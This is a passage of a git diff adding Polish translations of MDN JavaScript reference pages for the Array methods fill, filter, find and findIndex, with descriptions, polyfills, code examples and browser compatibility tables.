+arr[0].hi = "hi"; // [{ hi: "hi" }, { hi: "hi" }, { hi: "hi" }]
+</pre>
+
+<p> </p>
+
+<p> </p>
+
+<h2 id="Polyfill">Polyfill</h2>
+
+<pre class="brush: js">if (!Array.prototype.fill) {
+ Array.prototype.fill = function(value) {
+
+ // Steps 1-2.
+ if (this == null) {
+ throw new TypeError('this is null or not defined');
+ }
+
+ var O = Object(this);
+
+ // Steps 3-5.
+ var len = O.length &gt;&gt;&gt; 0;
+
+ // Steps 6-7.
+ var start = arguments[1];
+ var relativeStart = start &gt;&gt; 0;
+
+ // Step 8.
+ var k = relativeStart &lt; 0 ?
+ Math.max(len + relativeStart, 0) :
+ Math.min(relativeStart, len);
+
+ // Steps 9-10.
+ var end = arguments[2];
+ var relativeEnd = end === undefined ?
+ len : end &gt;&gt; 0;
+
+ // Step 11.
+ var final = relativeEnd &lt; 0 ?
+ Math.max(len + relativeEnd, 0) :
+ Math.min(relativeEnd, len);
+
+ // Step 12.
+ while (k &lt; final) {
+ O[k] = value;
+ k++;
+ }
+
+ // Step 13.
+ return O;
+ };
+}
+</pre>
+
+<h2 id="Specyfikacja">Specyfikacja</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specyfikacja</th>
+ <th scope="col">Status</th>
+ <th scope="col">Komentarz</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-array.prototype.fill', 'Array.prototype.fill')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td>Definicja początkowa</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Kompatybilność_z_przeglądarkami">Kompatybilność z przeglądarkami</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Funckjonalność</th>
+ <th>Chrome</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari</th>
+ </tr>
+ <tr>
+ <td>Wsparcie podstawowe</td>
+ <td>{{CompatChrome("36")}} [1]</td>
+ <td>{{CompatGeckoDesktop("31")}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatSafari("7.1")}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Chrome for Android</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Mobile</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Wsparcie podstawowe</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatGeckoMobile("31")}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>8.0</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] The feature is available behind a preference. In chrome://flags, activate the entry “Enable Experimental JavaScript”.</p>
+
+<h2 id="Zobacz_również">Zobacz również</h2>
+
+<ul>
+ <li>{{jsxref("Array")}}</li>
+ <li>{{jsxref("TypedArray.prototype.fill()")}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/array/filter/index.html b/files/pl/web/javascript/referencje/obiekty/array/filter/index.html
new file mode 100644
index 0000000000..4b18a34c9c
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/array/filter/index.html
@@ -0,0 +1,150 @@
+---
+title: Array.prototype.filter()
+slug: Web/JavaScript/Referencje/Obiekty/Array/filter
+tags:
+ - Dokumentacja_JavaScript
+ - Dokumentacje
+ - JavaScript
+ - Strony_wymagające_dopracowania
+ - Wszystkie_kategorie
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/filter
+---
+<div>{{JSRef}}</div>
+
+<p>Metoda <strong>filter()</strong> tworzy nową tablicę z wszystkimi elementami, które przechodzą test określony w postaci funkcji.</p>
+
+<pre class="brush: js">function isBigEnough(value) {
+ return value &gt;= 10;
+}
+
+var filtered = [12, 5, 8, 130, 44].filter(isBigEnough);
+// filtered is [12, 130, 44]
+</pre>
+
+<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2>
+
+<pre><var>var newArray = arr</var>.filter(<var>callback(element[, index[, array]])</var>[, <var>thisArg</var>])</pre>
+
+<h3 id="Parametry" name="Parametry">Parametry</h3>
+
+<dl>
+ <dt><code>callback</code></dt>
+ <dd>Funkcja sprawdzająca każdy element tablicy. Funkcja powinna zwrócić <code>true,</code> aby zatrzymać element lub <code>false,</code> aby odrzucić element. Funkcja przyjmuje trzy argumenty:</dd>
+ <dd>
+ <dl>
+ <dt><code>element</code></dt>
+ <dd>Element tablicy do przetworzenia.</dd>
+ <dt><code>index</code></dt>
+ <dd>Numer indeksu procesowanego elementu tablicy.</dd>
+ <dt><code>array</code></dt>
+ <dd>Tablica na której <code>filter</code> został wywołany.</dd>
+ </dl>
+ </dd>
+ <dt><code>thisArg</code></dt>
+ <dd>Obiekt na który będzie wskazywał <code>this</code>, przy wywoływaniu funkcji <code>callback</code>.</dd>
+</dl>
+
+<h2 id="Opis" name="Opis">Opis</h2>
+
+<p>Metoda <code>filter</code> wykonuje dostarczoną funkcję <code>callback</code> dla każdego elementu tablicy, tworząc nową tablicę z wszystkich tych elementów, dla których funkcja <code>callback</code> zwróciła wartość <code>true</code>. Wynikowa tablica jest zwarta; wartości, które nie przechodzą testu funkcji <code>callback,</code> są zwyczajnie pomijane i nie są przypisywane do indeksów nowej tablicy.</p>
+
+<p>Funkcja <code>callback</code> jest wywoływana z trzema argumentami: wartością elementu, jego indeksem i obiektem tablicy, w którym się ten element zawiera.</p>
+
+<p>Jeśli parametr <code>thisObject</code> został dostarczony do metody <code>filter</code>, będzie on wskazywany przez <code>this</code> dla każdego wywołania funkcji<code>callback</code>. W przypadku gdy nie został on przekazany lub jego wartość jest równa <code>null</code>, <code>this</code> będzie się odnosić do obiektu globalnego połączonego z funkcją <code>callback</code>.</p>
+
+<p>Metoda <code>filter</code> nie modyfikuje tablicy, na której jest wywoływana.</p>
+
+<p>Zakres elementów przetwarzanych przez <code>filter</code> jest ustawiany przed pierwszym wywołaniem funkcji <code>callback</code>. Elementy dołączone do tablicy po momencie wywołania <code>filter</code> są testowane przez <code>callback</code>. Jeśli istniejące elementy tablicy są zmieniane lub usuwane, to wartość przesyłana do funkcji <code>callback</code> odpowiada wartości w momencie, w którym <code>filter</code> się o nie zwróci; metoda <code>filter</code> nie upomina się o elementy usunięte.</p>
+
+<h3 id="Kompatybilno.C5.9B.C4.87" name="Kompatybilno.C5.9B.C4.87">Kompatybilność</h3>
+
+<p><code>filter</code> jest rozszerzeniem JavaScript dla standardu ECMA-262, więc może nie być obecny w innych implementacjach tego standardu. Można to obejść, dopisując poniższy kod na początku skryptu, zezwalający na użycie <code>filter</code> w implementacji ECMA-262, które nie wspierają tego natywnie.</p>
+
+<pre class="brush: js">if (!Array.prototype.filter)
+{
+ Array.prototype.filter = function(fun /*, thisp*/)
+ {
+ var len = this.length;
+ if (typeof fun != "function")
+ throw new TypeError();
+
+ var res = new Array();
+ var thisp = arguments[1];
+ for (var i = 0; i &lt; len; i++)
+ {
+ if (i in this)
+ {
+ var val = this[i]; // in case fun mutates this
+ if (fun.call(thisp, val, i, this))
+ res.push(val);
+ }
+ }
+
+ return res;
+ };
+}
+</pre>
+
+<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2>
+
+<h3 id="Przyk.C5.82ad:_Odfiltrowanie_wszystkich_ma.C5.82ych_warto.C5.9Bci" name="Przyk.C5.82ad:_Odfiltrowanie_wszystkich_ma.C5.82ych_warto.C5.9Bci">Przykład: Odfiltrowanie wszystkich małych wartości</h3>
+
+<p>Poniższy przykład używa <code>filter</code> by utworzyć przefiltrowaną tablicę, z której usunięto wszystkie elementy których wartość wynosi mniej niż 10.</p>
+
+<pre class="brush: js">function isBigEnough(element, index, array) {
+ return (element &gt;= 10);
+}
+filtered = [12, 5, 8, 130, 44].filter(isBigEnough);
+</pre>
+
+<h2 id="Kompatybilność_z_przeglądarkami" style="margin-bottom: 20px; font-size: 2.14285714285714rem;">Kompatybilność z przeglądarkami</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table" style="border-color: transparent;">
+ <tbody>
+ <tr>
+ <th style="line-height: 16px;">Feature</th>
+ <th style="line-height: 16px;">Chrome</th>
+ <th style="line-height: 16px;">Firefox (Gecko)</th>
+ <th style="line-height: 16px;">Internet Explorer</th>
+ <th style="line-height: 16px;">Opera</th>
+ <th style="line-height: 16px;">Safari</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatGeckoDesktop("1.8")}}</td>
+ <td>{{CompatIE("9")}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table" style="border-color: transparent;">
+ <tbody>
+ <tr>
+ <th style="line-height: 16px;">Feature</th>
+ <th style="line-height: 16px;">Android</th>
+ <th style="line-height: 16px;">Chrome for Android</th>
+ <th style="line-height: 16px;">Firefox Mobile (Gecko)</th>
+ <th style="line-height: 16px;">IE Mobile</th>
+ <th style="line-height: 16px;">Opera Mobile</th>
+ <th style="line-height: 16px;">Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatGeckoMobile("1.8")}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/pl/web/javascript/referencje/obiekty/array/find/index.html b/files/pl/web/javascript/referencje/obiekty/array/find/index.html
new file mode 100644
index 0000000000..6e8d67373b
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/array/find/index.html
@@ -0,0 +1,278 @@
+---
+title: Array.prototype.find()
+slug: Web/JavaScript/Referencje/Obiekty/Array/find
+tags:
+ - Array
+ - ECMAScript 2015
+ - JavaScript
+ - Metodă
+ - Prototype
+ - Referencja
+ - Tablica
+ - polyfill
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/find
+---
+<p>{{JSRef}}<br>
+ Metoda <strong>find()</strong> zwraca pierwszy element tablicy, który spełnia warunek podanej funkcji testującej.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/array-find.html","shorter")}}</div>
+
+
+
+<ul>
+ <li>Jeśli potrzebujesz <strong>indeksu</strong> znalezionego elementu w tablicy, użyj {{jsxref("Array.findIndex", "findIndex()")}}.</li>
+ <li>Jesli potrzebujesz <strong>indeksu wartości</strong>, użyj {{jsxref("Array.prototype.indexOf()")}}. (Jest to podobne do {{jsxref("Array.findIndex", "findIndex()")}}, ale sprawdza każdy element tablicy pod kątem równości z zadaną wartością, zamiast używać funkcji testującej.)</li>
+ <li>Jeśli chcesz sprawdzić, czy wartość <strong>istnieje</strong> w tablicy, użyj {{jsxref("Array.prototype.includes()")}}. Tutaj także sprawdzana jest równość elementu z zadaną wartością zamiast używania funkcji testującej.</li>
+ <li>Jeśli chcesz znaleźć dowolny element, który spełnia warunek funkcji testującej, użyj {{jsxref("Array.prototype.some()")}}.</li>
+</ul>
+
+<h2 id="Syntax" name="Syntax">Składnia</h2>
+
+<pre class="syntaxbox notranslate"><code><var>arr</var>.find(<var>callback</var>[, <var>thisArg</var>])</code></pre>
+
+<h3 id="Parameters" name="Parameters">Parametry</h3>
+
+<dl>
+ <dt><em><code>callback</code></em></dt>
+ <dd>Funkcja do wykonania przy każdym elemencie tablicy, przyjmująca trzy wartości:
+ <dl>
+ <dt><em><code>element</code></em></dt>
+ <dd>Element obecnie przetwarzany przez funkcję.</dd>
+ <dt><em><code>index</code></em></dt>
+ <dd>Indeks obecnie przetwarzanego elementu.</dd>
+ <dt><em><code>array</code></em></dt>
+ <dd>Tablica, na której wywołano funkcję <code>find</code>.</dd>
+ </dl>
+ </dd>
+ <dt><em><code>thisArg</code></em></dt>
+ <dd>Opcjonalny. Obiekt, który będzie się znajdował pod <code>this</code> w czasie wykonywania funkcji <code>callback</code>.</dd>
+</dl>
+
+<h3 id="Zwracana_wartość">Zwracana wartość</h3>
+
+<p><strong>Wartość pierwszego elementu</strong> w tablicy, spełniającego warunek funkcji testującej.<br>
+ W przeciwnym wypadku: {{jsxref("undefined")}}.</p>
+
+<h2 id="Description" name="Description">Opis</h2>
+
+<p>Metoda <code>find</code> wywołuje funkcję <code><var>callback</var></code> raz dla każdego indeksu tablicy, dopóki nie znajdzie takiego elementu, dla którego <em><code>callback</code></em> zwraca wartość <code>true</code>. Wówczas <code>find</code> natychmiast zwraca wartość tego elementu. W przeciwnym razie, gdy żaden z elementów nie spełni warunków funkcji testującej, <code>find</code> zwraca {{jsxref("undefined")}}.</p>
+
+<p><code><var>callback</var></code> jest wywoływany dla każdego indeksu tablicy, nie tylko tych z przypisanymi wartościami. Oznacza to, że może to być mniej efektywne w przypadku tablic rzadkich, w porównaniu z metodami, które odwiedzają jedynie indeksy z przypisanymi wartościami.</p>
+
+<p>Jeśli parametr <code><var>thisArg</var></code>jest przekazany do <code>find</code>, będzie użyty jako wartość <code>this</code> w każdym wywołaniu <code><var>callback</var></code>. Jeśli parametr ten nie jest przekazany, używana jest wartość {{jsxref("undefined")}}.</p>
+
+<p>Metoda <code>find</code> nie modyfikuje tablicy, na której jest wywoływana, ale może to robić funkcja przekazana do <code><var>callback</var></code>. Jeśli tak się stanie, elementy przetwarzane przez <code>find</code> są ustawiane <em>przed</em> pierwszym wywołaniem funkcji <code><em>callback</em></code>. Zatem:</p>
+
+<ul>
+ <li><code><var>callback</var></code> nie odwiedzi żadnych elementów dodanych do tablicy po rozpoczęciu wywowłania <code>find</code>.</li>
+ <li>Jeśli istniejący, jeszcze nieodwiedzony element tablicy jest zmieniony przez <code><em>callback</em></code>, jego wartość przekazana do <code><em>callback</em></code> będzie wartością w momencie, w którym <code>find</code> odwiedza indeks tego elementu.</li>
+ <li>Elementy {{jsxref("delete", "usunięte")}} dalej są odwiedzane.</li>
+</ul>
+
+<h2 id="Polyfill">Polyfill</h2>
+
+<p>Metoda ta została dodana do specyfikacji ECMAScript 2015 i może nie być jeszcze dostępna we wszystkich implementacjach języka JavaScript.  Niemniej jednak, możesz użyć <em>polyfill</em> z  <code>Array.prototype.find</code> z poniższym fragmentem kodu:</p>
+
+<pre class="brush: js notranslate">// https://tc39.github.io/ecma262/#sec-array.prototype.find
+if (!Array.prototype.find) {
+ Object.defineProperty(Array.prototype, 'find', {
+ value: function(predicate) {
+ // 1. Let O be ? ToObject(this value).
+ if (this == null) {
+ throw TypeError('"this" is null or not defined');
+ }
+
+ var o = Object(this);
+
+ // 2. Let len be ? ToLength(? Get(O, "length")).
+ var len = o.length &gt;&gt;&gt; 0;
+
+ // 3. If IsCallable(predicate) is false, throw a TypeError exception.
+ if (typeof predicate !== 'function') {
+ throw TypeError('predicate must be a function');
+ }
+
+ // 4. If thisArg was supplied, let T be thisArg; else let T be undefined.
+ var thisArg = arguments[1];
+
+ // 5. Let k be 0.
+ var k = 0;
+
+ // 6. Repeat, while k &lt; len
+ while (k &lt; len) {
+ // a. Let Pk be ! ToString(k).
+ // b. Let kValue be ? Get(O, Pk).
+ // c. Let testResult be ToBoolean(? Call(predicate, T, « kValue, k, O »)).
+ // d. If testResult is true, return kValue.
+ var kValue = o[k];
+ if (predicate.call(thisArg, kValue, k, o)) {
+ return kValue;
+ }
+ // e. Increase k by 1.
+ k++;
+ }
+
+ // 7. Return undefined.
+ return undefined;
+ },
+ configurable: true,
+ writable: true
+ });
+}
+</pre>
+
+<p>Jeśli potrzebujesz wspierać naprawdę przestarzałe silniki JavaScript, które nie wspierająt <code><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/defineProperty">Object.defineProperty</a></code>, najlepiej w ogóle nie używać <em>polyfill</em> z <code>Array.prototype</code>, gdyż nie da się go uczynić niewyliczeniowym.</p>
+
+<h2 id="Przykłady">Przykłady</h2>
+
+<h3 id="Wyszukiwanie_obiektu_w_tablicy_na_podstawie_jednej_z_jego_własności">Wyszukiwanie obiektu w tablicy na podstawie jednej z jego własności</h3>
+
+<pre class="brush: js notranslate">const inventory = [
+ {name: 'apples', quantity: 2},
+ {name: 'bananas', quantity: 0},
+ {name: 'cherries', quantity: 5}
+];
+
+function isCherries(fruit) {
+ return fruit.name === 'cherries';
+}
+
+console.log(inventory.find(isCherries));
+// { name: 'cherries', quantity: 5 }</pre>
+
+<h4 id="Użycie_funkcji_strzałkowej_i_destrukturyzacja">Użycie funkcji strzałkowej i destrukturyzacja</h4>
+
+<pre class="brush: js notranslate">const inventory = [
+ {name: 'apples', quantity: 2},
+ {name: 'bananas', quantity: 0},
+ {name: 'cherries', quantity: 5}
+];
+
+const result = inventory.find( ({ name }) =&gt; name === 'cherries' );
+
+console.log(result) // { name: 'cherries', quantity: 5 }</pre>
+
+<h3 id="Wyszukiwanie_liczby_pierwszej_w_tablicy">Wyszukiwanie liczby pierwszej w tablicy</h3>
+
+<p>Poniższy przykładowy kod znajduje element tablicy będący liczbą pierwszą (lub zwraca {{jsxref("undefined")}} jeśli w tablicy nie ma liczby pierwszej):</p>
+
+<pre class="brush: js notranslate">function czyPierwsza(element, indeks, tablica) {
+ let start = 2;
+ while (start &lt;= Math.sqrt(element)) {
+ if (element % start++ &lt; 1) {
+ return false;
+ }
+ }
+ return element &gt; 1;
+}
+
+console.log([4, 6, 8, 12].find(czyPierwsza)); // undefined, nie znaleziono
+console.log([4, 5, 8, 12].find(czyPierwsza)); // 5
+</pre>
+
+<p>Poniższy przykład pokazuje, że nieistniejące i usunięte elementy <em>są</em> odwiedzane, oraz że wartość przekazana do <code><em>callback</em></code> jest ich wartością, kiedy są odwiedzane:</p>
+
+<pre class="brush: js notranslate">// Zadeklaruj tablicę bez elementów przy indeksach 2, 3 i 4
+const array = [0,1,,,,5,6];
+
+// Pokazuje wszystkie indeksy, nie tylko te z przypisanymi wartościami
+array.find(function(value, index) {
+ console.log('Odwiedzono indeks ', index, ' z wartością ', value);
+});
+
+// Pokazuje wszystkie indeksy, włączając usunięte
+array.find(function(value, index) {
+ // Usuń element 5 w pierwszej iteracji
+ if (index === 0) {
+ console.log('Usuwanie array[5] z wartością ', array[5]);
+ delete array[5];
+ }
+ // Element 5 jest wciąż odwiedzany, choć został usunięty
+ console.log('Odwiedzono indeks ', index, ' z wartością ', value);
+});
+// Oczekiwane wyjście:
+// Usuwanie array[5] z wartością 5
+// Odwiedzono indeks 0 z wartością 0
+// Odwiedzono indeks 1 z wartością 1
+// Odwiedzono indeks 2 z wartością undefined
+// Odwiedzono indeks 3 z wartością undefined
+// Odwiedzono indeks 4 z wartością undefined
+// Odwiedzono indeks 5 z wartością undefined
+// Odwiedzono indeks 6 z wartością 6
+</pre>
+
+<h2 id="Specifications" name="Specifications">Specyfikacje</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specyfikacja</th>
+ <th scope="col">Status</th>
+ <th scope="col">Komentarz</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES2015', '#sec-array.prototype.find', 'Array.prototype.find')}}</td>
+ <td>{{Spec2('ES2015')}}</td>
+ <td>Pierwotna definicja.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Wsparcie przeglądarek</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatChrome("45.0")}}</td>
+ <td>{{CompatGeckoDesktop("25.0")}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatSafari("7.1")}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Chrome for Android</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Mobile</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatGeckoMobile("25.0")}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>iOS 8</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also">Zobacz też</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.findIndex()")}} {{experimental_inline}}</li>
+ <li>{{jsxref("Array.prototype.every()")}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/array/findindex/index.html b/files/pl/web/javascript/referencje/obiekty/array/findindex/index.html
new file mode 100644
index 0000000000..86a9cf67cf
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/array/findindex/index.html
@@ -0,0 +1,214 @@
+---
+title: Array.prototype.findIndex()
+slug: Web/JavaScript/Referencje/Obiekty/Array/findIndex
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/findIndex
+---
+<div>{{JSRef}}</div>
+
+<p>Metoda <code><strong>findIndex()</strong></code> zwraca <strong>indeks</strong> pierwszego elementu tablicy, który spełnia kryteria postawione w funkcji testującej. W przeciwnym wypadku zwraca -1.</p>
+
+<pre class="brush: js">function isBigEnough(element) {
+ return element &gt;= 15;
+}
+
+[12, 5, 8, 130, 44].findIndex(isBigEnough);
+// zostanie zwrócony indeks czwartego elementu tablicy,
+// który wynosi 3</pre>
+
+<p>Zobacz także metodę {{jsxref("Array.find", "find()")}}, która zwraca <strong>wartość</strong> znalezionego elementu, zamiast jego indeksu.</p>
+
+<h2 id="Składnia">Składnia</h2>
+
+<pre class="syntaxbox"><var>arr</var>.findIndex(<var>callback</var>[, <var>thisArg</var>])</pre>
+
+<h3 id="Parametry">Parametry</h3>
+
+<dl>
+ <dt><code>callback</code></dt>
+ <dd>Funkcja wywoływana dla każdej wartości w tablicy, bierze trzy argumenty:</dd>
+ <dd>
+ <dl>
+ <dt><code>element</code></dt>
+ <dd>Obecnie przetwarzany element z tablicy.</dd>
+ <dt><code>index</code></dt>
+ <dd>Indeks obecnie przetwarzanego elementu z tablicy.</dd>
+ <dt><code>array</code></dt>
+ <dd>Tablica, na której została wywołana funkcja <code>findIndex</code>.</dd>
+ </dl>
+ </dd>
+ <dt><code>thisArg</code></dt>
+ <dd>Opcjonalny.  Obiekt do użycia jako <code>this </code>w czasie wykonywania <code>callback.</code></dd>
+</dl>
+
+<h3 id="Zwracana_wartość">Zwracana wartość</h3>
+
+<p>Indeks elementu tablicy, który pomyślnie przeszedł test, jeśli taki nie zostanie znaleziony, zwraca <strong>-1</strong>.</p>
+
+<h2 id="Opis">Opis</h2>
+
+<p>Metoda <code>findIndex</code> wykonuje funkcję <code>callback</code> dla każdego indeksu tablicy 0..długość - 1 (włącznie) w tablicy dopóki nie znajdzie tego, na którym funkcja <code>callback</code> zwróci prawdę. Jeśli taki element zostanie znaleziony, <code>findIndex</code> natychmiast zwraca indeks dla tej iteracji. Jeśli callback nigdy nie zwróci prawdy lub wielkość tablicy wynosi 0, <code>findIndex</code> zwróci -1. W przeciwieństwie do innych metod tablicowych takich jak Array#some, w tablicach rzadkich <code>callback </code><strong>jest</strong> wywoływany nawet dla indeksów niewystępujących w tablicy.</p>
+
+<p><code>callback </code>jest wywoływany z trzema argumentami: wartością elementu, indeksem elementu i przetwarzaną tablicą.</p>
+
+<p>Jeśli <code>thisArg</code> jest dołączony do <code>findIndex</code>, zostanie użyty jako <code>this</code> dla każdego wywołania . Jeśli nie, zostanie użyte {{jsxref("undefined")}}.</p>
+
+<p><code>findIndex </code>nie zmienia tablicy na której jest wywoływany.</p>
+
+<p>Zakres elementów przetwarzanych przez <code>findIndex</code> jest ustawiany przed pierwszym wywołaniem funkcji <code>callback</code>. Elementy, które są dodane po rozpoczęciu wywołania funkcji <code>findIndex </code>nie będą przetworzone przez <code>callback</code>. Jeśli istniejący, nieodwiedzony element tablicy zostanie zmieniony przez <code>callback</code>, jego wartość przekazana do odwiedzającego <code>callback</code> będzie tą wartością z momentu, w którym <code>findIndex</code> odwiedzi indeks tego elementu, elementy usunięte, nie będą odwiedzone.</p>
+
+<h2 id="Przykłady">Przykłady</h2>
+
+<h3 id="Znajdź_indeks_liczby_pierwszej_w_tablicy">Znajdź indeks liczby pierwszej w tablicy</h3>
+
+<p>Poniższy przykład znajduje indeks elementu w tablicy, który jest liczbą pierwszą (lub zwraca -1 jeśli nie w tablicy nie ma liczby pierwszej).</p>
+
+<pre class="brush: js">function isPrime(element, index, array) {
+ var start = 2;
+ while (start &lt;= Math.sqrt(element)) {
+ if (element % start++ &lt; 1) {
+ return false;
+ }
+ }
+ return element &gt; 1;
+}
+
+console.log([4, 6, 8, 12].findIndex(isPrime)); // -1, nie znaleziono
+console.log([4, 6, 7, 12].findIndex(isPrime)); // 2
+</pre>
+
+<h2 id="Polyfill">Polyfill</h2>
+
+<pre class="brush: js">// https://tc39.github.io/ecma262/#sec-array.prototype.findIndex
+if (!Array.prototype.findIndex) {
+ Object.defineProperty(Array.prototype, 'findIndex', {
+ value: function(predicate) {
+ // 1. Let O be ? ToObject(this value).
+ if (this == null) {
+ throw new TypeError('"this" ma wartość null lub undefined');
+ }
+
+ var o = Object(this);
+
+ // 2. Niech len będzie ? ToLength(? Get(O, "length")).
+ var len = o.length &gt;&gt;&gt; 0;
+
+ // 3. Jeśli IsCallable(predicate) jest fałszem, rzuć wyjątek TypeError.
+ if (typeof predicate !== 'function') {
+ throw new TypeError('predykat musi być funkcją');
+ }
+
+ // 4. Jeśli thisArg został podany, niech T będzie thisArg; w przeciwnym wypadku, niech T będzie undefined.
+ var thisArg = arguments[1];
+
+ // 5. Let k be 0.
+ var k = 0;
+
+ // 6. Powtarzaj, dopóki k &lt; len
+ while (k &lt; len) {
+ // a. Niech Pk będzie ! ToString(k).
+ // b. Niech kValue będzie ? Get(O, Pk).
+ // c. Niech testResult będzie ToBoolean(? Call(predicate, T, « kValue, k, O »)).
+ // d. Jeśli testResult jest prawdą, zwróć k.
+ var kValue = o[k];
+ if (predicate.call(thisArg, kValue, k, o)) {
+ return k;
+ }
+ // e. Zwiększ wartość k o 1.
+ k++;
+ }
+
+ // 7. Return -1.
+ return -1;
+ }
+ });
+}
+</pre>
+
+<p>Jeśli musisz wspierać naprawdę przestarzałe silniki JavaScript, które nie wspierają <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/defineProperty">Object.defineProperty</a></code>, najlepiej nie korzystać z metod <code>Array.prototype</code>  w ogóle, ponieważ nie można sprawić by były niepoliczalne.</p>
+
+<h2 id="Specyfikacje">Specyfikacje</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Komentarz</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES2015', '#sec-array.prototype.findindex', 'Array.prototype.findIndex')}}</td>
+ <td>{{Spec2('ES2015')}}</td>
+ <td>Podstawowa definicja.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-array.prototype.findIndex', 'Array.prototype.findIndex')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Kompatybilność_przeglądarek">Kompatybilność przeglądarek</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Edge</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Edge</th>
+ <th>Opera</th>
+ <th>Safari</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatChrome(45.0)}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatGeckoDesktop("25.0")}}</td>
+ <td>{{CompatNo}}</td>
+ <td>Tak</td>
+ <td>Tak</td>
+ <td>{{CompatSafari("7.1")}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Chrome for Android</th>
+ <th>Edge</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Mobile</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatNo}}</td>
+ <td>45.0</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatGeckoMobile("25.0")}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>8.0</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Zobacz_także">Zobacz także</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.find()")}}</li>
+ <li>{{jsxref("Array.prototype.indexOf()")}}</li>
+</ul>
